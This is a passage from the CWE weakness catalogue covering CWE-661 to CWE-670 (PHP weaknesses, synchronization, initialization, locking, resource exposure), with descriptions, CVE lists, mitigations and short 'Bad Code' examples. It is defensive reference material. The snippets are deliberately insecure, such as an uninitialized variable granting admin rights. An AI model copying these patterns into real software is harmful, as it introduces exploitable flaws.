B	917	Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection')

## CWE-661: Weaknesses in Software Written in PHP

View ID: 661 (View: Implicit Slice)

Status: Draft

### Objective

This view (slice) covers issues that are found in PHP programs that are not common to all languages.

### View Data

#### Filter Used:

./Applicable\_Platforms//@Language\_Name='PHP'

#### View Metrics

	CWEs in this view		Total CWEs
<b>Total</b>	<b>21</b>	out of	<b>1003</b>
<b>Views</b>	<b>0</b>	out of	<b>32</b>
<b>Categories</b>	<b>0</b>	out of	<b>244</b>
<b>Weaknesses</b>	<b>21</b>	out of	<b>719</b>
<b>Compound Elements</b>	<b>0</b>	out of	<b>8</b>

### CWEs Included in this View

Type	ID	Name
B	95	Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')
B	96	Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')
B	98	Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')
B	209	Information Exposure Through an Error Message
B	211	Information Exposure Through Externally-generated Error Message
B	434	Unrestricted Upload of File with Dangerous Type
B	453	Insecure Default Variable Initialization
B	454	External Initialization of Trusted Variables or Data Stores
V	457	Use of Uninitialized Variable
B	470	Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')
V	473	PHP External Variable Modification
B	474	Use of Function with Inconsistent Implementations
B	484	Omitted Break Statement in Switch
V	502	Deserialization of Untrusted Data
V	616	Incomplete Identification of Uploaded File Variables (PHP)
B	621	Variable Extraction Error
B	624	Executable Regular Expression Error
B	625	Permissive Regular Expression
V	626	Null Byte Interaction Error (Poison Null Byte)
B	627	Dynamic Variable Evaluation
B	915	Improperly Controlled Modification of Dynamically-Determined Object Attributes

## CWE-662: Improper Synchronization

Weakness ID: 662 (*Weakness Base*)

Status: Draft

### Description

#### Summary

The software attempts to use a shared resource in an exclusive manner, but does not prevent or incorrectly prevents use of the resource by another thread or process.

#### Time of Introduction

- Architecture and Design
- Implementation

#### Common Consequences

##### Integrity

##### Confidentiality

##### Other

##### Modify application data

##### Read application data

##### Alter execution logic

## Potential Mitigations

### Implementation

Use industry standard APIs to synchronize your code.

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf		361	Time and State	<b>699</b>	626
CanPrecede		362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')	699	627
ChildOf		664	Improper Control of a Resource Through its Lifetime	<b>1000</b>	1026
ChildOf		691	Insufficient Control Flow Management	1000	1072
ChildOf		745	CERT C Secure Coding Section 11 - Signals (SIG)	<b>734</b>	1136
ChildOf		852	CERT Java Secure Coding Section 07 - Visibility and Atomicity (VNA)	<b>844</b>	1294
ChildOf		879	CERT C++ Secure Coding Section 11 - Signals (SIG)	<b>868</b>	1317
ChildOf		986	SFP Secondary Cluster: Missing Lock	<b>888</b>	1386
ParentOf		663	<i>Use of a Non-reentrant Function in a Concurrent Context</i>	<b>1000</b>	1025
ParentOf		667	<i>Improper Locking</i>	<b>699</b>	1032
				<b>1000</b>	
ParentOf		820	<i>Missing Synchronization</i>	<b>699</b>	1249
				<b>1000</b>	
ParentOf		821	<i>Incorrect Synchronization</i>	<b>699</b>	1250
				<b>1000</b>	

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CERT C Secure Coding	SIG00-C	Mask signals handled by noninterruptible signal handlers
CERT C Secure Coding	SIG31-C	Do not access or modify shared objects in signal handlers
CLASP		State synchronization error
CERT Java Secure Coding	VNA03-J	Do not assume that a group of calls to independently atomic methods is atomic
CERT C++ Secure Coding	SIG00-CPP	Mask signals handled by noninterruptible signal handlers
CERT C++ Secure Coding	SIG31-CPP	Do not access or modify shared objects in signal handlers
Software Fault Patterns	SFP19	Missing Lock

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
25	Forced Deadlock	
26	Leveraging Race Conditions	
27	Leveraging Race Conditions via Symbolic Links	
29	Leveraging Time-of-Check and Time-of-Use (TOCTOU) Race Conditions	

## CWE-663: Use of a Non-reentrant Function in a Concurrent Context

Weakness ID: 663 (*Weakness Base*)

Status: Draft

### Description

#### Summary

The software calls a non-reentrant function in a concurrent context in which a competing code sequence (e.g. thread or signal handler) may have an opportunity to call the same function or otherwise influence its state.

#### Time of Introduction

- Architecture and Design
- Implementation

#### Common Consequences



**Integrity****Confidentiality****Other****Modify application data****Read application data****Alter execution logic****Observed Examples**

Reference	Description
CVE-2001-1349	unsafe calls to library functions from signal handler
CVE-2004-2259	handler for SIGCHLD uses non-reentrant functions

**Potential Mitigations****Implementation**

Use reentrant functions if available.

**Implementation**

Add synchronization to your non-reentrant function.

**Implementation**

In Java, use the ReentrantLock Class.

**Relationships**

Nature	Type	ID	Name	CVSS	Page
ChildOf	C	361	Time and State	699	626
ChildOf	B	662	Improper Synchronization	1000	1024
ChildOf	C	986	SFP Secondary Cluster: Missing Lock	888	1386
ParentOf	V	479	Signal Handler Use of a Non-reentrant Function	699 1000	807
ParentOf	V	558	Use of getlogin() in Multithreaded Application	1000	893

**Related Attack Patterns**

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
29	Leveraging Time-of-Check and Time-of-Use (TOCTOU) Race Conditions	

**References**

SUN. "Java Concurrency API". Class ReentrantLock. < <http://java.sun.com/j2se/1.5.0/docs/api/java/util/concurrent/locks/ReentrantLock.html> >.

Dipak Jha, Software Engineer, IBM. "Use reentrant functions for safer signal handling". < <http://www.ibm.com/developerworks/linux/library/l-reent.html> >.

## CWE-664: Improper Control of a Resource Through its Lifetime

Weakness ID: 664 (Weakness Class)

Status: Draft

**Description****Summary**

The software does not maintain or incorrectly maintains control over a resource throughout its lifetime of creation, use, and release.

**Extended Description**

Resources often have explicit instructions on how to be created, used and destroyed. When software does not follow these instructions, it can lead to unexpected behaviors and potentially exploitable states.

Even without explicit instructions, various principles are expected to be adhered to, such as "Do not use an object until after its creation is complete," or "do not use an object after it has been slated for destruction."

**Time of Introduction**

- Implementation

**Common Consequences**

Other  
Other

Potential Mitigations

Testing

Use Static analysis tools to check for unreleased resources.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	361	Time and State	699	626
ChildOf	C	984	SFP Secondary Cluster: Life Cycle	888	1386
ParentOf	G	221	Information Loss or Omission	1000	413
ParentOf	G	284	Improper Access Control	1000	499
ParentOf	B	400	Uncontrolled Resource Consumption ('Resource Exhaustion')	1000	688
ParentOf	B	404	Improper Resource Shutdown or Release	1000	699
ParentOf	G	405	Asymmetric Resource Consumption (Amplification)	1000	703
ParentOf	B	410	Insufficient Resource Pool	1000	709
ParentOf	B	471	Modification of Assumed-Immutable Data (MAID)	1000	792
ParentOf	G	485	Insufficient Encapsulation	1000	819
ParentOf	G	610	Externally Controlled Reference to a Resource in Another Sphere	1000	957
ParentOf	B	662	Improper Synchronization	1000	1024
ParentOf	B	665	Improper Initialization	1000	1027
ParentOf	B	666	Operation on Resource in Wrong Phase of Lifetime	1000	1031
ParentOf	G	668	Exposure of Resource to Wrong Sphere	1000	1035
ParentOf	G	669	Incorrect Resource Transfer Between Spheres	1000	1036
ParentOf	G	673	External Influence of Sphere Definition	1000	1041
ParentOf	G	704	Incorrect Type Conversion or Cast	699	1104
ParentOf	G	706	Use of Incorrectly-Resolved Name or Reference	1000	1106
ParentOf	B	908	Use of Uninitialized Resource	1000	1330
ParentOf	B	911	Improper Update of Reference Count	1000	1335
ParentOf	G	913	Improper Control of Dynamically-Managed Code Resources	1000	1336
ParentOf	G	922	Insecure Storage of Sensitive Information	699	1349
MemberOf	V	1000	Research Concepts	1000	1402

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
21	Exploitation of Session Variables, Resource IDs and other Trusted Credentials	
60	Reusing Session IDs (aka Session Replay)	
61	Session Fixation	
62	Cross Site Request Forgery (aka Session Riding)	
196	Session Credential Falsification through Forging	

Maintenance Notes

More work is needed on this node and its children. There are perspective/layering issues; for example, one breakdown is based on lifecycle phase (CWE-404, CWE-665), while other children are independent of lifecycle, such as CWE-400. Others do not specify as many bases or variants, such as CWE-704, which primarily covers numbers at this stage.

## CWE-665: Improper Initialization

Weakness ID: 665 (Weakness Base)

Status: Draft

Description

Summary

The software does not initialize or incorrectly initializes a resource, which might leave the resource in an unexpected state when it is accessed or used.

**Extended Description**

This can have security implications when the associated resource is expected to have certain properties or values, such as a variable that determines whether a user has been authenticated or not.

**Time of Introduction**

- Implementation
- Operation

**Applicable Platforms****Languages**

- Language-independent

**Modes of Introduction**

This weakness can occur in code paths that are not well-tested, such as rare error conditions. This is because the use of uninitialized data would be noticed as a bug during frequently-used functionality.

**Common Consequences****Confidentiality****Read memory****Read application data**

When reusing a resource such as memory or a program variable, the original contents of that resource may not be cleared before it is sent to an untrusted party.

**Access Control****Bypass protection mechanism**

If security-critical decisions rely on a variable having a "0" or equivalent value, and the programming language performs this initialization on behalf of the programmer, then a bypass of security may occur.

**Availability****DoS: crash / exit / restart**

The uninitialized data may contain values that cause program flow to change in ways that the programmer did not intend. For example, if an uninitialized variable is used as an array index in C, then its previous contents may produce an index that is outside the range of the array, possibly causing a crash or an exit in other environments.

**Likelihood of Exploit**

Medium

**Detection Methods****Automated Dynamic Analysis****Moderate**

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Initialization problems may be detected with a stress-test by calling the software simultaneously from a large number of threads or processes, and look for evidence of any unexpected behavior. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

**Manual Dynamic Analysis**

Identify error conditions that are not likely to occur during normal usage and trigger them. For example, run the program under low memory conditions, run with insufficient privileges or permissions, interrupt a transaction before it is completed, or disable connectivity to basic network services such as DNS. Monitor the software for any unexpected behavior. If you trigger an unhandled exception or similar error that was discovered and handled by the application's environment, it may still indicate unexpected conditions that were not handled by the application itself.

**Demonstrative Examples**

### Example 1:

Here, a boolean initialized field is consulted to ensure that initialization tasks are only completed once. However, the field is mistakenly set to true during static initialization, so the initialization code is never reached.

#### Java Example:

*Bad Code*

```
private boolean initialized = true;
public void someMethod() {
    if (!initialized) {
        // perform initialization tasks
        ...
        initialized = true;
    }
}
```

### Example 2:

The following code intends to limit certain operations to the administrator only.

#### Perl Example:

*Bad Code*

```
$username = GetCurrentUser();
$state = GetStateData($username);
if (defined($state)) {
    $uid = ExtractUserID($state);
}
# do stuff
if ($uid == 0) {
    DoAdminThings();
}
```

If the application is unable to extract the state information - say, due to a database timeout - then the \$uid variable will not be explicitly set by the programmer. This will cause \$uid to be regarded as equivalent to "0" in the conditional, allowing the original user to perform administrator actions. Even if the attacker cannot directly influence the state data, unexpected errors could cause incorrect privileges to be assigned to a user just by accident.

### Example 3:

The following code intends to concatenate a string to a variable and print the string.

#### C Example:

*Bad Code*

```
char str[20];
strcat(str, "hello world");
printf("%s", str);
```

This might seem innocent enough, but str was not initialized, so it contains random memory. As a result, str[0] might not contain the null terminator, so the copy might start at an offset other than 0. The consequences can vary, depending on the underlying memory.

If a null terminator is found before str[8], then some bytes of random garbage will be printed before the "hello world" string. The memory might contain sensitive information from previous uses, such as a password (which might occur as a result of CWE-14 or CWE-244). In this example, it might not be a big deal, but consider what could happen if large amounts of memory are printed out before the null terminator is found.

If a null terminator isn't found before str[8], then a buffer overflow could occur, since strcat will first look for the null terminator, then copy 12 bytes starting with that location. Alternately, a buffer over-read might occur (CWE-126) if a null terminator isn't found before the end of the memory segment is reached, leading to a segmentation fault and crash.

### Observed Examples

Reference	Description
CVE-2001-1471	chain: an invalid value prevents a library file from being included, skipping initialization of key variables, leading to resultant eval injection.
CVE-2005-1036	Permission bitmap is not properly initialized, leading to resultant privilege elevation or DoS.
CVE-2007-3749	OS kernel does not reset a port when starting a setuid program, allowing local users to access the port and gain privileges.
CVE-2008-0062	Lack of initialization triggers NULL pointer dereference or double-free.

Reference	Description
CVE-2008-0063	Product does not clear memory contents when generating an error message, leading to information leak.
CVE-2008-0081	Uninitialized variable leads to code execution in popular desktop application.
CVE-2008-2934	Free of an uninitialized pointer leads to crash and possible code execution.
CVE-2008-3475	chain: Improper initialization leads to memory corruption.
CVE-2008-3597	chain: game server can access player data structures before initialization has happened leading to NULL dereference
CVE-2008-3637	Improper error checking in protection mechanism produces an uninitialized variable, allowing security bypass and code execution.
CVE-2008-3688	chain: Uninitialized variable leads to infinite loop.
CVE-2008-4197	Use of uninitialized memory may allow code execution.
CVE-2008-5021	Composite: race condition allows attacker to modify an object while it is still being initialized, causing software to access uninitialized memory.
CVE-2009-0949	chain: improper initialization of memory can lead to NULL dereference
CVE-2009-2692	chain: uninitialized function pointers can be dereferenced allowing code execution
CVE-2009-3620	chain: some unprivileged ioctls do not verify that a structure has been initialized before invocation, leading to NULL dereference

## Potential Mitigations

### Requirements

#### Language Selection

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, in Java, if the programmer does not explicitly initialize a variable, then the code could produce a compile-time error (if the variable is local) or automatically initialize the variable to the default value for the variable's type. In Perl, if explicit initialization is not performed, then a default value of undef is assigned, which is interpreted as 0, false, or an equivalent value depending on the context in which the variable is accessed.

#### Architecture and Design

Identify all variables and data stores that receive information from external sources, and apply input validation to make sure that they are only initialized to expected values.

#### Implementation

Explicitly initialize all your variables and other data stores, either during declaration or just before the first usage.

#### Implementation

Pay close attention to complex conditionals that affect initialization, since some conditions might not perform the initialization.

#### Implementation

Avoid race conditions (CWE-362) during initialization routines.

#### Build and Compilation

Run or compile your software with settings that generate warnings about uninitialized variables or data.

#### Testing





Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

## Weakness Ordinalities

**Primary** (where the weakness exists independent of other weaknesses)

**Resultant** (where the weakness is typically related to the presence of some other weaknesses)

## Relationships

Nature	Type	ID	Name		Page
ChildOf		452	Initialization and Cleanup Errors	<b>699</b>	766
ChildOf		664	Improper Control of a Resource Through its Lifetime	<b>1000</b>	1026
ChildOf		740	CERT C Secure Coding Section 06 - Arrays (ARR)	<b>734</b>	1133

Nature	Type	ID	Name	CVSS	Page
ChildOf	C	742	CERT C Secure Coding Section 08 - Memory Management (MEM)	734	1134
ChildOf	C	752	2009 Top 25 - Risky Resource Management	750	1143
ChildOf	C	846	CERT Java Secure Coding Section 01 - Declarations and Initialization (DCL)	844	1291
ChildOf	C	874	CERT C++ Secure Coding Section 06 - Arrays and the STL (ARR)	868	1313
ChildOf	C	876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)	868	1314
ChildOf	C	962	SFP Secondary Cluster: Unchecked Status Condition	888	1376
ParentOf	B	453	<i>Insecure Default Variable Initialization</i>	1000	766
ParentOf	B	454	<i>External Initialization of Trusted Variables or Data Stores</i>	1000	767
ParentOf	B	455	<i>Non-exit on Failed Initialization</i>	1000	769
ParentOf	V	457	<i>Use of Uninitialized Variable</i>	699	773
ParentOf	B	770	<i>Allocation of Resources Without Limits or Throttling</i>	1000	1175
ParentOf	B	909	<i>Missing Initialization of Resource</i>	1000	1332

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Incorrect initialization
CERT C Secure Coding	ARR02-C	Explicitly specify array bounds, even if implicitly defined by an initializer
CERT C Secure Coding	MEM09-C	Do not assume memory allocation routines initialize memory
CERT Java Secure Coding	DCL00-J	Prevent class initialization cycles
CERT C++ Secure Coding	ARR02-CPP	Explicitly specify array bounds, even if implicitly defined by an initializer
CERT C++ Secure Coding	MEM09-CPP	Do not assume memory allocation routines initialize memory
Software Fault Patterns	SFP4	Unchecked Status Condition

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
26	Leveraging Race Conditions	
29	Leveraging Time-of-Check and Time-of-Use (TOCTOU) Race Conditions	
172	Manipulate Timing and State	

### References

mercy. "Exploiting Uninitialized Data". Jan 2006. < <http://www.felinemenace.org/~mercy/papers/UBehavior/UBehavior.zip> >.

Microsoft Security Vulnerability Research & Defense. "MS08-014 : The Case of the Uninitialized Stack Variable Vulnerability". 2008-03-11. < <http://blogs.technet.com/swi/archive/2008/03/11/the-case-of-the-uninitialized-stack-variable-vulnerability.aspx> >.

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 7, "Variable Initialization", Page 312.. 1st Edition. Addison Wesley. 2006.

## CWE-666: Operation on Resource in Wrong Phase of Lifetime

Weakness ID: 666 (Weakness Base)

Status: Draft

### Description

#### Summary

The software performs an operation on a resource at the wrong phase of the resource's lifecycle, which can lead to unexpected behaviors.

#### Extended Description

When a developer wants to initialize, use or release a resource, it is important to follow the specifications outlined for how to operate on that resource and to ensure that the resource is



in the expected state. In this case, the software wants to perform a normally valid operation, initialization, use or release, on a resource when it is in the incorrect phase of its lifetime.

#### Time of Introduction

- Implementation
- Operation

#### Common Consequences

Other









Other

#### Potential Mitigations

##### Architecture and Design

Follow the resource's lifecycle from creation to release.

#### Relationships

Nature	Type	ID	Name	V	Page
ChildOf		664	Improper Control of a Resource Through its Lifetime	1000	1026
ChildOf		840	Business Logic Errors	699	1283
ChildOf		984	SFP Secondary Cluster: Life Cycle	888	1386
ParentOf		415	Double Free	1000	716
ParentOf		593	Authentication Bypass: OpenSSL CTX Object Modified after SSL Objects are Created	1000	934
ParentOf		605	Multiple Binds to the Same Port	1000	951
ParentOf		672	Operation on a Resource after Expiration or Release	1000	1039
ParentOf		826	Premature Release of Resource During Expected Lifetime	699	1257
				1000	

## CWE-667: Improper Locking

Weakness ID: 667 (Weakness Base)

Status: Draft

#### Description

##### Summary

The software does not properly acquire a lock on a resource, or it does not properly release a lock on a resource, leading to unexpected resource state changes and behaviors.

#### Time of Introduction

- Architecture and Design
- Implementation

#### Common Consequences

##### Availability

##### DoS: resource consumption (CPU)

Inconsistent locking discipline can lead to deadlock.

#### Demonstrative Examples

##### Example 1:

In the following Java snippet, methods are defined to get and set a long field in an instance of a class that is shared across multiple threads. Because operations on double and long are nonatomic in Java, concurrent access may cause unexpected behavior. Thus, all operations on long and double fields should be synchronized.

##### Java Example:

Bad Code

```
private long someLongValue;
public long getLongValue() {
    return someLongValue;
}
public void setLongValue(long l) {
    someLongValue = l;
}
```

##### Example 2:

This code tries to obtain a lock for a file, then writes to it.



**PHP Example:***Bad Code*

```
function writeToLog($message){
    $logfile = fopen("logFile.log", "a");
    //attempt to get logfile lock
    if (flock($logfile, LOCK_EX)) {
        fwrite($logfile,$message);
        // unlock logfile
        flock($logfile, LOCK_UN);
    }
    else {
        print "Could not obtain lock on logFile.log, message not recorded\n";
    }
}
fclose($logFile);
```

PHP by default will wait indefinitely until a file lock is released. If an attacker is able to obtain the file lock, this code will pause execution, possibly leading to denial of service for other users. Note that in this case, if an attacker can perform an flock() on the file, they may already have privileges to destroy the log file. However, this still impacts the execution of other programs that depend on flock().

**Example 3:**

The following function attempts to acquire a lock in order to perform operations on a shared resource.

**C Example:***Bad Code*

```
void f(pthread_mutex_t *mutex) {
    pthread_mutex_lock(mutex);
    /* access shared resource */
    pthread_mutex_unlock(mutex);
}
```

However, the code does not check the value returned by pthread\_mutex\_lock() for errors. If pthread\_mutex\_lock() cannot acquire the mutex for any reason the function may introduce a race condition into the program and result in undefined behavior.

In order to avoid data races correctly written programs must check the result of thread synchronization functions and appropriately handle all errors, either by attempting to recover from them or reporting it to higher levels.

*Good Code*

```
int f(pthread_mutex_t *mutex) {
    int result;
    result = pthread_mutex_lock(mutex);
    if (0 != result)
        return result;
    /* access shared resource */
    return pthread_mutex_unlock(mutex);
}
```

**Example 4:**

It may seem that the following bit of code achieves thread safety while avoiding unnecessary synchronization...

**Java Example:***Bad Code*

```
if (helper == null) {
    synchronized (this) {
        if (helper == null) {
            helper = new Helper();
        }
    }
}
return helper;
```

The programmer wants to guarantee that only one Helper() object is ever allocated, but does not want to pay the cost of synchronization every time this code is called.

Suppose that helper is not initialized. Then, thread A sees that helper==null and enters the synchronized block and begins to execute:

*Bad Code*

```
helper = new Helper();
```

If a second thread, thread B, takes over in the middle of this call and helper has not finished running the constructor, then thread B may make calls on helper while its fields hold incorrect values.

### Observed Examples

Reference	Description
CVE-2000-0338	Chain: predictable file names used for locking, allowing attacker to create the lock beforehand. Resultant from permissions and randomness.
CVE-2000-1198	Chain: Lock files with predictable names. Resultant from randomness.
CVE-2001-0682	Program can not execute when attacker obtains a mutex.
CVE-2002-0051	Critical file can be opened with exclusive read access by user, preventing application of security policy. Possibly related to improper permissions, large-window race condition.
CVE-2002-1850	read/write deadlock between web server and script
CVE-2002-1869	Product does not check if it can write to a log file, allowing attackers to avoid logging by accessing the file using an exclusive lock. Overlaps unchecked error condition. This is not quite CWE-412, but close.
CVE-2002-1914	Program can not execute when attacker obtains a lock on a critical output file.
CVE-2002-1915	Program can not execute when attacker obtains a lock on a critical output file.
CVE-2004-0174	web server deadlock involving multiple listening connections
CVE-2005-2456	Chain: array index error (CWE-129) leads to deadlock (CWE-833)
CVE-2005-3106	Race condition leads to deadlock.
CVE-2005-3847	OS kernel has deadlock triggered by a signal during a core dump.
CVE-2006-2275	Deadlock when large number of small messages cannot be processed quickly enough.
CVE-2006-2374	Deadlock in device driver triggered by using file handle of a related device.
CVE-2006-4342	deadlock when an operation is performed on a resource while it is being removed.
CVE-2006-5158	chain: other weakness leads to NULL pointer dereference (CWE-476) or deadlock (CWE-833).
CVE-2008-4302	Chain: OS kernel does not properly handle a failure of a function call (CWE-755), leading to an unlock of a resource that was not locked (CWE-832), with resultant crash.
CVE-2009-0935	Attacker provides invalid address to a memory-reading function, causing a mutex to be unlocked twice
CVE-2009-1243	OS kernel performs an unlock in some incorrect circumstances, leading to panic.
CVE-2009-1388	multiple simultaneous calls to the same function trigger deadlock.
CVE-2009-1961	OS deadlock involving 3 separate functions
CVE-2009-2699	deadlock in library
CVE-2009-2857	OS deadlock
CVE-2009-4272	deadlock triggered by packets that force collisions in a routing table
CVE-2010-4210	function in OS kernel unlocks a mutex that was not previously locked, causing a panic or overwrite of arbitrary memory.

### Potential Mitigations

#### Implementation

#### Libraries or Frameworks

Use industry standard APIs to implement locking mechanism.

### Relationships

Nature	Type	ID	Name	✓	Page
ChildOf	B	662	Improper Synchronization	699	1024
				<b>1000</b>	
ChildOf	C	748	CERT C Secure Coding Section 50 - POSIX (POS)	734	1137
ChildOf	C	852	CERT Java Secure Coding Section 07 - Visibility and Atomicity (VNA)	844	1294
ChildOf	C	853	CERT Java Secure Coding Section 08 - Locking (LCK)	844	1295
ChildOf	C	986	SFP Secondary Cluster: Missing Lock	888	1386
ParentOf	B	412	<i>Unrestricted Externally Accessible Lock</i>	1000	711

Nature	Type	ID	Name	V	Page
ParentOf	B	413	Improper Resource Locking	1000	713
ParentOf	B	414	Missing Lock Check	1000	716
ParentOf	B	609	Double-Checked Locking	1000	955
ParentOf	V	764	Multiple Locks of a Critical Resource	699	1168
				1000	
ParentOf	V	765	Multiple Unlocks of a Critical Resource	699	1169
				1000	
ParentOf	B	832	Unlock of a Resource that is not Locked	699	1270
				1000	
ParentOf	B	833	Deadlock	699	1271
				1000	
MemberOf	V	884	CWE Cross-section	884	1319

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CERT C Secure Coding	POS31-C	Do not unlock or destroy another thread's mutex
CERT Java Secure Coding	VNA00-J	Ensure visibility when accessing shared primitive variables
CERT Java Secure Coding	VNA02-J	Ensure that compound operations on shared variables are atomic
CERT Java Secure Coding	VNA05-J	Ensure atomicity when reading and writing 64-bit values
CERT Java Secure Coding	LCK06-J	Do not use an instance lock to protect shared static data
Software Fault Patterns	SFP19	Missing Lock

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
26	Leveraging Race Conditions	
27	Leveraging Race Conditions via Symbolic Links	

## CWE-668: Exposure of Resource to Wrong Sphere

Weakness ID: 668 (Weakness Class)

Status: Draft

### Description

#### Summary

The product exposes a resource to the wrong control sphere, providing unintended actors with inappropriate access to the resource.

#### Extended Description

Resources such as files and directories may be inadvertently exposed through mechanisms such as insecure permissions, or when a program accidentally operates on the wrong object. For example, a program may intend that private files can only be provided to a specific user. This effectively defines a control sphere that is intended to prevent attackers from accessing these private files. If the file permissions are insecure, then parties other than the user will be able to access those files.

A separate control sphere might effectively require that the user can only access the private files, but not any other files on the system. If the program does not ensure that the user is only requesting private files, then the user might be able to access other files on the system.

In either case, the end result is that a resource has been exposed to the wrong party.

#### Time of Introduction

- Architecture and Design
- Implementation
- Operation

#### Common Consequences

**Confidentiality**

**Integrity**

**Other**

**Read application data**

**Modify application data**

**Other**

## Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	361	Time and State	699	626
ChildOf	C	664	Improper Control of a Resource Through its Lifetime	1000	1026
ChildOf	C	963	SFP Secondary Cluster: Exposed Data	888	1377
ParentOf	V	8	J2EE Misconfiguration: Entity Bean Declared Remote	1000	6
ParentOf	C	22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	1000	30
ParentOf	C	200	Information Exposure	1000	384
CanFollow	V	219	Sensitive Data Under Web Root	1000	412
ParentOf	V	220	Sensitive Data Under FTP Root	1000	412
ParentOf	B	374	Passing Mutable Objects to an Untrusted Method	1000	652
ParentOf	B	375	Returning a Mutable Object to an Untrusted Caller	1000	654
ParentOf	B	377	Insecure Temporary File	1000	655
ParentOf	C	402	Transmission of Private Resources into a New Sphere ('Resource Leak')	1000	697
ParentOf	B	427	Uncontrolled Search Path Element	1000	733
ParentOf	B	428	Unquoted Search Path or Element	1000	736
CanFollow	C	441	Unintended Proxy or Intermediary ('Confused Deputy')	1000	753
ParentOf	V	491	Public cloneable() Method Without Final ('Object Hijack')	1000	826
ParentOf	V	492	Use of Inner Class Containing Sensitive Data	1000	827
ParentOf	V	493	Critical Public Variable Without Final Modifier	1000	833
ParentOf	C	514	Covert Channel	1000	858
ParentOf	B	522	Insufficiently Protected Credentials	1000	862
ParentOf	B	552	Files or Directories Accessible to External Parties	1000	889
ParentOf	V	582	Array Declared Public, Final, and Static	1000	922
ParentOf	V	583	finalize() Method Declared Public	1000	923
ParentOf	V	608	Struts: Non-private Field in ActionForm Class	1000	954
ParentOf	C	642	External Control of Critical State Data	1000	993
ParentOf	C	732	Incorrect Permission Assignment for Critical Resource	1000	1121
ParentOf	V	766	Critical Variable Declared Public	1000	1170
ParentOf	V	767	Access to Critical Private Variable via Public Method	1000	1172
ParentOf	V	927	Use of Implicit Intent for Sensitive Communication	1000	1354
ParentOf	V	942	Overly Permissive Cross-domain Whitelist	1000	1367

## Theoretical Notes

A "control sphere" is a set of resources and behaviors that are accessible to a single actor, or a group of actors. A product's security model will typically define multiple spheres, possibly implicitly. For example, a server might define one sphere for "administrators" who can create new user accounts with subdirectories under /home/server/, and a second sphere might cover the set of users who can create or delete files within their own subdirectories. A third sphere might be "users who are authenticated to the operating system on which the product is installed." Each sphere has different sets of actors and allowable behaviors.

## Relevant Properties

- Accessibility

## CWE-669: Incorrect Resource Transfer Between Spheres

Weakness ID: 669 (Weakness Class)

Status: Draft

## Description

## Summary

The product does not properly transfer a resource/behavior to another sphere, or improperly imports a resource/behavior from another sphere, in a manner that provides unintended control over that resource.

**Time of Introduction**

- Architecture and Design
- Implementation
- Operation

**Common Consequences****Confidentiality****Integrity****Read application data****Modify application data****Unexpected state****Background Details**

A "control sphere" is a set of resources and behaviors that are accessible to a single actor, or a group of actors. A product's security model will typically define multiple spheres, possibly implicitly. For example, a server might define one sphere for "administrators" who can create new user accounts with subdirectories under /home/server/, and a second sphere might cover the set of users who can create or delete files within their own subdirectories. A third sphere might be "users who are authenticated to the operating system on which the product is installed." Each sphere has different sets of actors and allowable behaviors.

**Relationships**

Nature	Type	ID	Name	CVSS	Page
ChildOf	<b>C</b>	361	Time and State	<b>699</b>	626
ChildOf	<b>G</b>	664	Improper Control of a Resource Through its Lifetime	<b>1000</b>	1026
ChildOf	<b>C</b>	963	SFP Secondary Cluster: Exposed Data	<b>888</b>	1377
ParentOf	<b>B</b>	212	<i>Improper Cross-boundary Removal of Sensitive Data</i>	1000	405
ParentOf	<b>V</b>	243	<i>Creation of chroot Jail Without Changing Working Directory</i>	<b>1000</b>	433
CanFollow	<b>V</b>	244	<i>Improper Clearing of Heap Memory Before Release ('Heap Inspection')</i>	1000	434
ParentOf	<b>B</b>	434	<i>Unrestricted Upload of File with Dangerous Type</i>	<b>1000</b>	742
ParentOf	<b>B</b>	494	<i>Download of Code Without Integrity Check</i>	<b>1000</b>	835
ParentOf	<b>B</b>	602	<i>Client-Side Enforcement of Server-Side Security</i>	<b>1000</b>	947
ParentOf	<b>G</b>	829	<i>Inclusion of Functionality from Untrusted Control Sphere</i>	<b>699</b> <b>1000</b>	1262

**Relevant Properties**

- Accessibility

**CWE-670: Always-Incorrect Control Flow Implementation****Weakness ID:** 670 (*Weakness Class*)**Status:** Draft**Description****Summary**

The code contains a control flow path that does not reflect the algorithm that the path is intended to implement, leading to incorrect behavior any time this path is navigated.

**Extended Description**

This weakness captures cases in which a particular code segment is always incorrect with respect to the algorithm that it is implementing. For example, if a C programmer intends to include multiple statements in a single block but does not include the enclosing braces (CWE-483), then the logic is always incorrect. This issue is in contrast to most weaknesses in which the code usually behaves correctly, except when it is externally manipulated in malicious ways.

**Time of Introduction**

- Architecture and Design
- Implementation
- Operation

**Modes of Introduction**

This issue typically appears in rarely-tested code, since the "always-incorrect" nature will be detected as a bug during normal usage.









### Common Consequences

Other

Other

Alter execution logic

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf		691	Insufficient Control Flow Management	1000	1072
ChildOf		977	SFP Secondary Cluster: Design	888	1382
